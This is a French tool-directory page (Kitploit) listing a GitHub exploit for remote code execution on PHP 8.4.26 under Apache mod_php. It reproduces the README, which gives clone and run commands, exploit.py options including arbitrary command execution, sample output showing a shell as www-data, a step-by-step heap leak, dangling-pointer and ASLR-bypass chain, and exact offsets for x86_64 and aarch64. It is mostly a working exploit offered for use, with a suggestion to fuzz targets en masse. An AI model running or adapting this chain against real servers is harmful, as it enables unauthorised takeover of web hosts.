Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
php2shell-bypass-aslr-exp — Exploit purement HTTP permettant une RCE sur PHP 8.4.26 + Apache mod_php via une fuite de tas session upload_progress, une réutilisation de pointeur pendant et un contournement de l'ASLR pour appeler zif_system. | Kitploit
Outils/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
Criminalistique MémoireAnalyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheOutil d'Accès à DistanceExploitation de Binaires
GitHub
Partager
9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

Exploit purement HTTP permettant une RCE sur PHP 8.4.26 + Apache mod_php via une fuite de tas session upload_progress, une réutilisation de pointeur pendant et un contournement de l'ASLR pour appeler zif_system.

Voir le dépôt
1.6k449397il y a 25 joursVérifié par Kitploit

php2shell - environnement officiel sans display_errors, sans modification de memory_limit

中文 | English | 日本語

Avec la configuration officielle prefork (MaxRequestWorkers=150), dans des contraintes entièrement distantes, en utilisant uniquement HTTP, avec une page cible contenant seulement <?php echo "OK\n"; ?>, et sans écrire de PHP côté cible, obtenir un RCE en une seule commande :

  • image officielle stock + ini officiel + worker officiel : 10/10
  • référence mono-worker (calibrage/débogage initial) : 20/20
  • environ 3–4 secondes par tentative (incluant 149 connexions de remplissage), le worker épinglé ne redémarre pas, l'ini cible n'est pas modifié

Exploitation générique

En théorie, il suffit de calculer les offsets de toutes les versions de PHP, puis de les utiliser pour fuzzer en masse ; il y aura toujours un fuzz qui permet le RCE. De toute façon, même si le worker plante, il redémarre, donc pas de crainte de faire tomber la cible.

À propos des workers : le MaxRequestWorkers=150 du prefork officiel a également été franchi. Le script occupe d'abord les requêtes inachevées de 149 workers, puis épingle A1/B1/A2/B2 sur le même child restant ; le mono-worker n'est qu'une forme de débogage initiale (--workers 1 reste reproductible).

Démarrage rapide (php.ini-production officiel / display_errors=Off / 128M)

git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) 起目标:stock 官方镜像;容器里只把官方 php.ini-production 复制成 php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)

# 2) 一条命令:A1 -> B1 泄漏 -> A2 -> B2 -> id
python3 exploit.py --port 18110
#       --arch auto(默认):自动识别 x86_64 / aarch64
#       pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
#       arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
#       chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
#                       ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ne pas compiler PHP/Apache, ne pas construire d'image, ne pas attacher gdb, ne pas modifier l'ini cible. pure/run_pure.sh utilise par défaut le conteneur p2s-pure-18110, le port 18110, et par défaut la configuration officielle prefork (MaxRequestWorkers=150) ; une fois démarré, il affiche l'architecture réelle, l'ini et les valeurs MPM ; seul --single attache la surcharge non officielle à un seul worker pure/docker/apache-single-worker.conf (avec --workers 1). docker/apache.conf n'est qu'un lien symbolique de compatibilité conservé pour l'ancien harness, pointant vers le même fichier. Sur Linux, en l'absence de droits sur le groupe docker, le script bascule automatiquement sur sudo docker, ou l'on peut explicitement utiliser DOCKER="sudo docker" ./pure/run_pure.sh ; --dbg sert uniquement à passer à la même construction avec symboles pour un étalonnage hors ligne.

Paramètres courants :

# 换新 ASLR 复测(重启容器)
python3 exploit.py --port 18110 --restart p2s-pure-18110

# 官方 worker 是默认值;--single 起的单 worker 目标用 --workers 1
python3 exploit.py --port 18110 --workers 1

# ARM64 也可显式指定(默认 --arch auto 自动识别)
python3 exploit.py --arch aarch64 --port 18110 --workers 1

# 自定义命令:把脚本写进挂载目录,再用 sh 执行
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'

--retries par défaut à 3 ; si le pointeur le plus fréquent dans une fenêtre de dépassement donnée n'est pas zval_ptr_dtor, le script écarte cette fuite à l'aide d'une vérification d'intervalle raisonnable sur libphp-main, et toute la chaîne est recommencée.

Cette chaîne purement HTTP

La page cible ne contient que <?php echo "OK\n"; ?>, et le trafic d'attaque ne comprend que du multipart chunked et des GET/POST ordinaires :

  1. épinglage de worker : MaxRequestWorkers=150 par défaut ; on ouvre d'abord 149 POST n'ayant envoyé que la moitié du corps pour occuper les autres child, ainsi A1/B1/A2/B2 tombent tous sur le même child restant, et le pointeur suspendu inter-requêtes devient effectif.
  2. contournement de post_max_size par chunked : sans Content-Length, content_length=0, la vérification au début de rfc1867_post_handler est ignorée, et l'on peut envoyer un corps bien supérieur à 8M pour faire du heap grooming.
  3. A1 : 860 champs de fichier imbriqués de profondeur 64 + filler + grande valeur + 4000B PHP_SESSION_UPLOAD_PROGRESS, provoquant un OOM dans php_url_encode du nettoyage END ; le bailout laisse des PS(id) / PS(mod_data) suspendus, avec send_cookie=1.
  4. B1 (lecture hors limites) : après une fermeture sûre, on fait pointer PS(id) vers un en-tête zend_string falsifié (len=0xC8000, data contenant /), et Set-Cookie encode 800KB de mémoire après le chunk id. Dans la fenêtre se trouvent simultanément :
    • une grappe de pointeurs de chunk alignés sur 2MiB → base du chunk id / du chunk main ;
    • le trou laissé par G:400 à la fin du chunk id est comblé par 900 champs de tableau imbriqués, le pDestructor = zval_ptr_dtor de la vraie HashTable apparaît 1095 fois → libphp = valeur - 0x65EB60.
  5. A2 + B2 : cheap-OOM fait pointer PS(hash_serialize_verifier) vers le tas (main+0x7D720) ; B2 l'écrase avec une valeur de référence de 384B en un zval pointant vers S=main+0xF8398, où le zend_array falsifié a pDestructor = zif_system (libphp+0x465370), et au shutdown zend_hash_destroy appelle system("id>/out/p1").

Décalages (cette compilation, indépendants de l'ASLR) :

Symbole/emplacementx86_64aarch64
Pointeur zval_ptr_dtor fuitélibphp+0x65EB60libphp+0x63812B
zif_systemlibphp+0x465370libphp+0x42CD70
fake array Smain+0xF8398main+0xF8398
hsv de A2main+0x7D720main+0x7D720

Le symbole ELF zval_ptr_dtor d'aarch64 se situe à 0x638120, mais le pointeur qui se répète dans cette fuite est 11 octets après, donc le profil soustrait 0x63812B. Environnement cible : Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS mod_php, gestionnaire de session files. Changer de compilation/version de PHP nécessite un recalibrage des décalages ; l'ASLR change à chaque démarrage de conteneur, et les deux fuites de la chaîne se calculent d'elles-mêmes.

Preuves

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Pas encore de données de popularité.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →